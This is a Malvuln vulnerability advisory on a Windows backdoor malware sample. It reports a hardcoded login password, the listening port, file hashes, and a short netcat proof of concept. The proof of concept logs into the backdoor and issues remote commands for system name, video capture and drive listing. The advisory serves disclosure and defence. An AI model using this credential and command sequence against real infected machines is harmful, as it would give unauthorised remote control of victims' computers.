Backdoor.Win32.Agent.aegg Hardcoded Credential

`Discovery / credits: Malvuln - malvuln.com (c) 2022  
Original source: https://malvuln.com/advisory/58be35e792476d1c015df7853112d200.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Agent.aegg   
Vulnerability: Weak Hardcoded Credentials  
Description: The malware listens on TCP port 8665. Authentication is required, however the password "Xc 2870508" is weak and hardcoded within the PE file.  
Family: Agent  
Type: PE32  
MD5: 58be35e792476d1c015df7853112d200  
Vuln ID: MVID-2022-0571  
Dropped files: ck.reg  
Disclosure: 04/26/2022  
  
Exploit/PoC:  
C:\>nc64.exe x.x.x.x 8665  
Welcome to XC Doc Server!  
Login root  
LoginFailed  
  
C:\nc64.exe x.x.x.x 8665  
Welcome to XC Doc Server!  
Login Xc 2870508  
LoginOK  
  
ComputerName  
DESKTOP-2C3IQHO  
StartVideo  
StartVideoOK  
GetDrives  
C:\  
D:\  
....  
  
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).  
`